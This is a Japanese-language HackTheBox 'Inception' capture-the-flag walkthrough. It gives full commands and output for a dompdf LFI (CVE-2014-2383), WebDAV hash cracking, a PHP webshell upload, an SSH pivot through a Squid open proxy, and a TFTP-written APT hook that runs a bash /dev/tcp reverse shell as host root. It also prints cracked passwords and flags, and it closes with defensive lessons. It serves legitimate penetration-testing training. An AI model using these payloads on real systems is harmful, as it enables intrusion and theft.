HackTheBox: Inception — 全実行コマンド・実行結果レポート
Nmap スキャン
80/3128のみ
→
80/3128のみ
dompdf 0.6.0 LFI
CVE-2014-2383
→
CVE-2014-2383
Apache conf + webdav.passwd
john crack
→
john crack
WebDAV PHP webshell PUT
www-data RCE
→
www-data RCE
cobb SSH (Squid pivot)
user.txt ✓
→
user.txt ✓
sudo su (コンテナ内root)
root.txt不在と判明
→
root.txt不在と判明
TFTP経由APT Pre-Invokeフック
ホストcronで発火
→
ホストcronで発火
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 3000 -T4 10.129.62.76
RESULT
PORT STATE SERVICE 80/tcp open http Apache/2.4.18 (Ubuntu) 3128/tcp open squid-http Squid (認証不要オープンプロキシ)
ℹ️
外部公開はこの2ポートのみ。Squidが認証不要のオープンプロキシである点が
後の内部ピボットの鍵になる。
Squid CONNECT でループバックの内部ポートを調査
BASH
curl -s -x http://10.129.62.76:3128 -o /dev/null -w '%{http_code}\n' \
--connect-timeout 5 https://127.0.0.1:22
# CONNECT メソッドが 127.0.0.1 への到達を許可しているか確認
RESULT
200 (トンネル確立成功) → 127.0.0.1:22 (SSH) がループバックのみで待受
🚨
重要発見: SSHは外部に公開されていないが、Squidのオープンプロキシ経由で
127.0.0.1 宛のCONNECTが許可されているため、後で資格情報さえ入手できれば
proxychains4 経由でSSHログインできることが判明。
ディレクトリ列挙 → dompdf 発見
BASH
gobuster dir -u http://10.129.62.76 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt curl -s http://10.129.62.76/dompdf/VERSION
RESULT
/dompdf/VERSION → 0.6.0
🚨
dompdf 0.6.0 は CVE-2014-2383 (EDB-33004) に該当する既知の任意ファイル読み取り脆弱性を持つ。
PHASE 2
dompdf LFI (CVE-2014-2383) で WebDAV 資格情報を特定
php://filter で任意ファイルを base64 読み取り
BASH
curl -s -o lfi.pdf \ "http://10.129.62.76/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.conf" # dompdf は結果を「生成したPDFファイル」として返すため、 # pdftotext でテキストを抽出してから base64 デコードする pdftotext lfi.pdf - | tr -d '[:space:]' | base64 -d
⚠️
実機で確認した落とし穴: 000-default.conf のような短いファイルは、
dompdfが生成するPDFのレイアウト都合でbase64文字列の一部が欠落し
(「番号 (85) が4の倍数+1になれない」等の不正パディングエラー)、正しくデコードできない
ことがある。この場合はより長い/別のファイル(webdav.passwd等)を直接狙う方が確実。
webdav.passwd を直接LFIで読み取り john でクラック
BASH
curl -s -o lfi2.pdf \ "http://10.129.62.76/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/var/www/html/webdav_test_inception/webdav.passwd" pdftotext lfi2.pdf - | tr -d '[:space:]' | base64 -d > webdav.passwd cat webdav.passwd john --wordlist=/usr/share/wordlists/rockyou.txt webdav.passwd john --show webdav.passwd
RESULT
webdav_tester:$apr1$...
webdav_tester:babygurl69
WebDAV credentials
webdav_tester : babygurl69
PHASE 3
WebDAV webshellアップロード & RCE & user.txt
PHP webshell を curl PUT でアップロード
BASH
echo "<?php echo system(\$_REQUEST['cmd']); ?>" > shell.php curl -s --upload-file shell.php --user webdav_tester:babygurl69 \ http://10.129.62.76/webdav_test_inception/kcshell.php
BASH (RCE確認)
curl -s -G "http://10.129.62.76/webdav_test_inception/kcshell.php" \ --data-urlencode "cmd=id" --user webdav_tester:babygurl69
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
⚠️
重要な落とし穴: webshell配置後のコマンド実行(GET)にも
WebDAVディレクトリのBasic認証(
--user webdav_tester:babygurl69)が必要。
アップロード(PUT)は認証込みで成功するが、その後の ?cmd= によるコマンド実行
リクエストに認証を付け忘れると常に401 Unauthorizedになり、
「webshell設置は成功したのにRCE確認だけ失敗する」という紛らわしい状態になる。
user.txt は www-data から直接読めない (0400, owner=cobb)
BASH
curl -s -G "http://10.129.62.76/webdav_test_inception/kcshell.php" \ --data-urlencode "cmd=cat /home/cobb/user.txt 2>&1" --user webdav_tester:babygurl69
RESULT
cat: /home/cobb/user.txt: Permission denied
🚨
ls -la /home/cobb/ で確認すると user.txt は
-r-------- cobb cobb (mode 400)。www-data権限のwebshellでは読めず、
cobbユーザーとして認証する必要がある。webshell経由で
wp-config.php の DB_PASSWORD を読み、cobbのSSHパスワードとして
使い回されていることを次のフェーズで突く。
PHASE 4
Squidピボット経由cobb SSH & コンテナ内rootの限界
wp-config.php の DB_PASSWORD を webshell 経由で取得
BASH
curl -s -G "http://10.129.62.76/webdav_test_inception/kcshell.php" \ --data-urlencode "cmd=cat /var/www/html/wordpress*/wp-config.php 2>/dev/null | grep DB_PASSWORD" \ --user webdav_tester:babygurl69
RESULT
define('DB_PASSWORD', 'VwPddNh7xMZyDQoByQL4');
Squidオープンプロキシ経由 (proxychains4) で cobb SSH
BASH
# /etc/proxychains4.conf 相当の設定を用意 cat > proxychains.conf << 'EOF' strict_chain proxy_dns [ProxyList] http 10.129.62.76 3128 EOF proxychains4 -q -f proxychains.conf \ sshpass -p 'VwPddNh7xMZyDQoByQL4' \ ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \ cobb@127.0.0.1 id
RESULT
uid=1000(cobb) gid=1000(cobb) groups=1000(cobb),27(sudo)
⚠️
落とし穴:
127.0.0.1 は別のマシンでのSSHピボット作業により
known_hosts に別の鍵で既に登録されていることがあり、
StrictHostKeyChecking=no だけでは
「REMOTE HOST IDENTIFICATION HAS CHANGED」警告でパスワード認証自体が
無効化され Permission denied になる。-o UserKnownHostsFile=/dev/null
を併用して既存エントリを完全に無視する必要がある。
BASH (user.txt 取得)
proxychains4 -q -f proxychains.conf sshpass -p 'VwPddNh7xMZyDQoByQL4' \ ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \ cobb@127.0.0.1 "cat /home/cobb/user.txt"
RESULT
24a97155903b570e4e5194b1d4cba895
user.txt — cobb (Squid open-proxy pivot)
24a97155903b570e4e5194b1d4cba895
cobb は sudo フル権限だが、これは「コンテナ内」のroot
BASH
proxychains4 ... cobb@127.0.0.1 "echo 'VwPddNh7xMZyDQoByQL4' | sudo -S cat /root/root.txt" proxychains4 ... cobb@127.0.0.1 "hostname -I"
RESULT
cat: /root/root.txt: No such file or directory
192.168.0.10 ← コンテナ自身のIP (172/192.168系の内部レンジ)
🚨
重要発見: cobbはsudoでroot昇格できるが、そのrootはDockerコンテナ内のroot
に過ぎず、root.txtが存在しない。コンテナのIPアドレス(192.168.0.10)がホストのゲートウェイ
(192.168.0.1)と異なるサブネットを示唆しており、ホスト実機への追加のピボットが必要
と判明する。
PHASE 5
TFTP + APT Pre-Invokeフックでホストへピボット → root.txt
ゲートウェイ (ホスト実機) の TFTP を発見
NOTE
コンテナ内(cobb権限)からゲートウェイ 192.168.0.1 に対しポートスキャンすると FTP(21)/SSH(22)/DNS(53)/TFTP(69)を検出。FTP匿名ログインで /etc/default/tftpd-hpa を確認すると --secure --create オプション付きで TFTP_DIRECTORY=/ (ルート全体が書き込み可能な設定) で稼働していることが判明。
TFTP で APT Pre-Invoke フックとリバースシェルを書き込む
NOTE
Pythonの標準ライブラリにTFTPクライアントは無いため、RFC1350準拠の最小実装
(WRQ→ACK→DATA→ACKのブロック転送ループ)をコンテナ上で自作・実行する。
書き込む2ファイル:
/tmp/writeup.sh:
#!/bin/bash
bash -i >& /dev/tcp/<コンテナIP>/<listen port> 0>&1
/etc/apt/apt.conf.d/00writeup:
APT::Update::Pre-Invoke {"/bin/bash /tmp/writeup.sh"};
ホストのcronが数分おきに実行する `apt update` が、この Pre-Invoke フック経由で
writeup.sh を root権限で発火させる。これをコンテナ側で
TCPリスナーを立てて待ち受け、接続してきたシェルに `cat /root/root.txt` を
送り込んで結果を回収する。
⚠️
実機で確認した落とし穴: このコンテナには
python2 が存在せず
python3 のみ (which python は command not found)。TFTPパケットの
送受信はbytes型が必須のため、Python2前提で書いたスクリプト(文字列と
struct.pack()の結果を直接連結する等)はPython3では
TypeError: can't concat str to bytes系のエラーで即座に失敗する。
bytesリテラル(b'...')と.encode()/.decode()を
明示的に使い分けて書き直す必要がある。
ℹ️
またホストのcron間隔は最大5分程度であり、TFTP書き込み自体は一瞬でエラーなく成功するが、
リバースシェル接続を待つリスナーのタイムアウトを短く設定していると
(例: 360秒)、cronの発火タイミングと噛み合わず「TIMEOUT_NO_CONNECTION」に
なることがある。安定して1回以上のcron周期をカバーできるよう、
600秒以上の待機時間を確保するのが安全。
root.txt 取得
RESULT (コンテナ側リスナーが受信)
a01f14a892eaab3d9b398b1fd5d203ea
root.txt — ホスト実機 (TFTP + APT Pre-Invoke フック経由)
a01f14a892eaab3d9b398b1fd5d203ea
✅
root化成功。 コンテナ内rootでは到達できない、Dockerホスト実機側の
root.txtを、TFTPによるファイル書き込みとホストcronの定期実行を組み合わせた
間接的なコマンド実行(2段目のコンテナ→ホストピボット)で取得した。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — cobb
24a97155903b570e4e5194b1d4cba895
root.txt — ホスト実機root
a01f14a892eaab3d9b398b1fd5d203ea
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2014-2383 (EDB-33004) | dompdf 0.6.0 | 任意ファイル読み取り (LFI) | Critical | php://filter/read=convert.base64-encodeでApache設定・パスワードファイルを閲覧 |
| WebDAV弱いパスワード + 認証済みファイルアップロード | /webdav_test_inception/ | RCE (www-data) | High | john+rockyouでhtpasswdクラック後、PHP webshellをPUTでアップロード |
| パスワード使い回し (DB→SSH) | wp-config.php DB_PASSWORD / cobb SSHパスワード | 外部非公開SSHへの不正ログイン | High | Squidオープンプロキシ経由のCONNECTで127.0.0.1:22へアクセスしSSHログイン |
| 認証不要オープンプロキシ | Squid (3128) | 本来到達不能な内部ループバックサービスへのアクセス経路提供 | Medium | proxychains4 + CONNECTメソッドで127.0.0.1宛のSSH通信をトンネリング |
| TFTP書込可能領域 + APT Pre-Invokeフック濫用 | ホストのtftpd-hpa (--secure --create, TFTP_DIRECTORY=/) + cron定期apt update | コンテナ→ホスト実機への権限昇格 (root) | Critical | TFTPでAPT設定フックとリバースシェルスクリプトを書き込み、ホストcronのapt update実行時にroot権限で発火させる |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + Squid CONNECT内部ポート調査 | 80/3128のみオープン、127.0.0.1:22待受を確認 |
| 2 | LFI | dompdf 0.6.0 (CVE-2014-2383) | webdav.passwdハッシュ → john crackでbabygurl69 |
| 3 | RCE | WebDAV webshellアップロード | user.txt (cobb SSH経由で取得) |
| 4 | 横移動 | wp-config.php DB_PASSWORD再利用 + Squidピボット | cobb SSHアクセス、コンテナ内rootの限界を確認 |
| 5 | 権限昇格 | TFTP + APT Pre-Invokeフック + ホストcron | root.txt (ホスト実機) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| Squidが認証不要のオープンプロキシとして稼働し、外部非公開のループバックサービスへの到達路になっている | プロキシには必ず認証を要求し、CONNECTメソッドで到達可能な宛先をアクセス制御リストで厳格に制限する。 |
| 既知の重大脆弱性(CVE-2014-2383)を含む古いdompdfが放置されている | サードパーティライブラリを定期的に更新し、脆弱性データベースを継続的に監視する。 |
| WebDAVディレクトリへの書き込み権限が実質的に任意コードの配置・実行を許している | WebDAVで公開するディレクトリはWebサーバーによるスクリプト実行(PHP等)を無効化する。 |
| データベースパスワードがOSユーザーのSSHパスワードとして使い回されている | サービスアカウントとOSログインアカウントのクレデンシャルを完全に分離する。 |
| Dockerコンテナ内から見えるホストのTFTPサービスがルート全体への書き込みを許可(TFTP_DIRECTORY=/) | TFTPの書き込み先ディレクトリを最小限に限定し、コンテナからホストの重要なサービス(TFTP/FTP等)へのネットワーク到達性自体を遮断する(コンテナネットワークの分離強化)。 |
| root権限で自動実行されるcronジョブ(apt update)の設定ファイルが外部から書き込み可能な経路(TFTP)を通じて改変されうる | root権限ジョブが参照する設定ファイル群のパーミッションを厳格化し、書き込み可能な外部サービスとの権限分離を徹底する。 |

